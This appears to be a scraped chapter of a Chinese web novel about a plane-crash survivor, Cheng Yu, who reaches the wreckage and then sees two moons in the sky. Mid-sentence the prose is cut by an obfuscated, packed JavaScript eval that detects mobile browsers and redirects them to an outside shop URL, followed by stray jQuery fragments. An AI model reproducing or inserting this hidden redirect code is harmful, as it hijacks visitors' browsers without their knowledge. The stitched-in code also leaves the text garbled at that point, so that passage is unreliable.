太阳即将落山,远不如正午明亮,但可能是因为站得高、离得近,光线很刺眼。
起初,程羽只能看见层层叠叠、深浅不一的树冠,她是循着狗的提示,抬手遮住刺眼的日光,异样才落入眼中。
在远处的山林中,有相当大、相当显眼的一片空地。
要说明的是,林间空地也会因为自然原因形成,大多呈现出椭圆或者圆形。
但这一处不是那样圆润的造型,它是绿林之中一道狰狞的歪斜伤疤,目测有上千米长,很不和谐。
裂口边缘全是枝叶受损的树木,拦腰断裂者也是数不胜数,还有高低不齐的残桩,墓碑般林立。
可以想象,一场能让方圆树林全都焚毁的滔天大火,曾在某个时刻席卷此地,或许是被大雨中场叫停,又或者是火焰自身烧得疲倦,在此留出一片赤裸的空地。
就在这块狼藉的中心,程羽看见了与周遭格格不入的冷硬反光。
那是明显不属于自然的造物。
她一眼就辨认出那些东西的轮廓。
毫无疑问,飞机残骸。
程羽不自觉地加重呼吸,表情严肃起来。尽管早有心理准备,事故的惨状还是令人胆战心惊。
隔得很远,仍然可以看见巨大的客机炸成了若干个部分,散落在那一圈地盘。
最主要的是三大块。
一头扎进土里,一端半掩盖在倒伏的树干下,可能是尾翼。
还有一截,几乎不反光,看起来是黑乎乎的一大团,辨认不出是什么部位。
到处都是碎片,或大或小,奇形怪状,可以想象,飞机坠毁的瞬间是伴随着怎样可怕的撞击与爆炸,才会将这些本属一体的坚硬金属拆解成这般模样。
“呜……”
狗又叫了一声。
暮光在这时恰好掠过它的眼睛,让那对原本幽绿的眼珠带上一抹奇异的金红色。
它确实是只神奇的生物。
程羽没想到它竟然真的知道自己想要什么,主动给她送来飞机残骸的碎片,又引着她抄近路来到这里,一切的行动都有些不可思议。
从石台的位置下去,脚程快的话,可能到达飞机残骸也用不了两个小时,兴许还能赶在太阳完全落山之前。
她已经知道这里日落的过程似乎被某种她无法理解的因素拉长了,天光消退得极其缓慢,但体感上并没有觉得日夜时间失衡,可能只是日落得更早一些。
程羽感到一种难得的轻松,甚至称得上高兴。
她蹲下身,从冲锋衣的口袋里摸出她收了许久,一直没舍得吃的那两颗喜糖,小心拆开包装纸,密封保存的无核红枣还有点粘粘的。
在无聊的时候,程羽不知道阅读过多少遍上面的成分说明,确信这么大体型的狗少量食用是无害的。
“只有这个了,你应该能吃,嗯……小心些,别卡着,”程羽不知道这样通灵性的狗能不能听懂她的话,但还是尽可能用柔和的声音嘱咐,“总之,谢谢。”
她比自己意识到的还要神情诚恳。可能她自己都没有注意到,在这片林子里,这只狗,竟然是唯一能让她说上两句的智慧生物。
狗低头嗅了嗅红枣,没有立刻吞食,而是小心翼翼地叼了起来,甩甩垂在脑袋边上的耳朵,然后出乎意料的,用它毛茸茸的脑袋,轻轻蹭了蹭程羽沾满泥土和草汁的裤腿。
后者不明所以,蹲下身:“怎么——”
没待她完成这无意义的问询,狗已经转过身,四肢轻捷地发力,三下两下便跃上了石台后方那些嶙峋交错的石堆。
它在大小不一的石块间腾挪,灵巧轻盈得像在跳舞,爪子下的石头因为骤然受力而晃动,甚至滚落悬崖,但狗毫不在意,身形稳定如初。
程羽看着它突然就拉开了和自己的距离,站在原地愣了一下。
又见它在高处回头,远远地朝着自己所在的位置,叫了两声:“汪!呜!”
没等程羽有什么应答,那道灰黄色的身影便毫不犹豫地融入更深的岩石阴影之中,几个起落后,消失不见。
“啊,原来是萍水相逢,缘尽于此。”
程羽望着它消失的方向,无奈地笑了一下,摇了摇头,心底那丝关于同伴的微弱暖意刚刚升起,就随着狗身影的远去而冷却。
看来在这片原始丛林里,她还是得做一个独行侠,别说人,就算是狗,也能不和她一道。
但这种微微的失落感很快就被更强烈的目标感冲散了。
毕竟,她已然亲眼确认了飞机残骸的所在!
这样明显庞大的事故现场,不要说巡航的飞机能否发现,就算是卫星拍摄的图像里,也理应是一个无法忽视的异常点吧?
这个认知在她脑海中迅速换算,近乎等同于获得救援就在眼前了。
要是运气好的话,这会儿说不定就有救援人员,正在旁边对事故原因进行调查!
心跳随着思维加速,她几乎毫无耽搁,身上的疲倦辛劳在眨眼间消失殆尽,朝着那个方向就开始前行。
一路磕磕绊绊,与无处不在的滚石荆棘纠缠搏斗,自不必细说。
落日到了尽头,夜间的风就开始刮起来了,即便她已经再次遁入密集的丛林,那种自上而下的寒冷也依旧对她穷追不舍。
白日被阳光充分炙烤过的土壤开始释放积蓄的水汽,乳白色的雾气袅袅升起,在林木的枝干与枝叶间弥漫,试图干扰她对方向的判断。
但程羽的心志此刻坚如磐石。
她早已将事故地点的方位与参照物死死烙印在心中,根本不愿在这最后关头,因为任何外界的干扰而耽误哪怕一分钟。
近了,越来越近了。
空气中似乎被风吹来微弱的焦糊味,程羽不知道那是不是自己的心理作用。
她几乎是连跑带走,手脚并用地在愈发昏暗的林间穿行,企图在太阳的余晖完全消散前抵达目的。
风与乱长的枝条,不断抽打在她的身上、脸上,荆棘勾扯着外套,发出嘶啦的轻响,仿佛森林在动用最后的力量,全力阻拦她向终点的奔行。
身上的冲锋衣在林子里祸祸了两周,看不出原本的淡紫色不要紧,已经全是破洞,就算丢到天桥下做乞丐行装都已经不合格,程羽才顾不上这么多,只是一味地向前,满心满眼都是即将获救的希望。
等回到家……
等她终于回到那个安全、熟悉、便捷的世界,她一定要做的第一件事,就是畅快淋漓地痛骂一遍那个压榨她休假的混蛋老板!
然后点一桌满满的丰盛外卖,炸鸡、奶茶、火锅……什么高热量的罪恶就来什么!她要裹着柔软棉被,躺在沙发上,把空调开到最舒适的温度,对着大屏幕电视机,一边看无脑综艺,一边捧着手机尽情地刷,直到眼睛发酸!
她再也不要吃烤兔肉了,也再也不想玩攀岩了。
就在这时,太阳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489629|202163||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
彻底沉入了远山背后。
沉重的深蓝色迅速漫过天际,吞没了所有暖色调。
几乎同时,一轮苍白的月亮,悄无声息地升起,替代刚刚离去的太阳,给树林洒下淡如碎屑的光。
程羽不得不放慢一些步子,确保自己不要在陌生的地方摔倒。
可她知道,目的地就在前面。
大概多远?
可能还有几百米的距离,她知道,就在那些层层叠叠遮掩的树木后头,只需要越过这些绊脚的树根,穿过这些漂浮的雾气,往前一点,再多一点,就能抵达。
她甚至大声呼喊起来。
“有人吗?”
“Help?Anybodyhere?”
“能听到吗?”
“有幸存者!我,我在这里啊!”
她的声音在安静的树林里回荡,头顶的月亮都被震得晃了晃。
或许是飞机坠毁时炸裂崩开的碎片太多,四溅的火星影响的范围太广,附近的树都出现明显的烧焦痕迹,到处都是伤后丑陋的疤痕。
有些碎片直接扎进树干中,边缘是灼烧过后的焦黑色,可能是那场大雨来的及时,火没有完全蔓延开来,让这些树还保留着负伤的状态,得以屹立于此。
枝叶不再像外围丛林那般密集嚣张,许多烧焦或断裂的枝条落在地上,与各类残片混杂在一起,形成路障。
程羽借着天光,小心翼翼地辨认落脚点,将它们跨过。
头顶就是明晃晃的月亮。
它真圆啊。
一个不合时宜,至少在当下与她的行动没有半分钱关系的感慨,就这么毫无征兆地闯入她的脑海。
程羽的脚步顿了顿,拨开眼前灌木的动作停在半空中,她感到一种难以言喻的违和感。
始终在耳边呼啸的风,就是这个时候停下的。
某种不可名状的力量牵引着她的视线,让她仰头望着天空,被树冠割开的天幕上,月亮只占据东边的地盘,没有星星。
程羽深吸了一口气。
却没有立即呼出来。
有些冷。
光亮落在鼻翼。
她用力眨了眨眼,不敢置信地看着熟悉又陌生的天空。
可看见的东西却没有因为她的眨眼就成为幻象,仍然是客观发生的事实。
一个比月亮稍小一圈的圆形天体缓慢地、稳当地从树梢上划上天空,最终停在空余的天幕之上,散发出比同伴更冷的光。
那是两个月亮。
一东一西,一明一暗,如同两颗巨大无比、永不眨眼的眼瞳,正冰冷地俯视着下方这片伤痕累累的大地。
俯视着渺小如尘埃的她。
那不是地球的卫星。
地球,只有一个月亮。
程羽的头颅好像被什么尖锐的东西猛烈撞击过,“嗡”的一声,脑海里全是空白。
怎么会有两个月亮呢?
她不是大难不死的空难幸存者么?
她不是在原始丛林中艰难求生了好几天,怎样都没有放弃回家的心愿么?
她不是费劲一切心思,终于找到了飞机残骸,马上就该看到获得救援的曙光了么?
怎么会有两个月亮呢?
这里,还是她的地球吗?
她真的还活在原来那个世界吗?
程羽脑海中的弦崩紧得太久,她好像听见“噔”的一声,弦断了。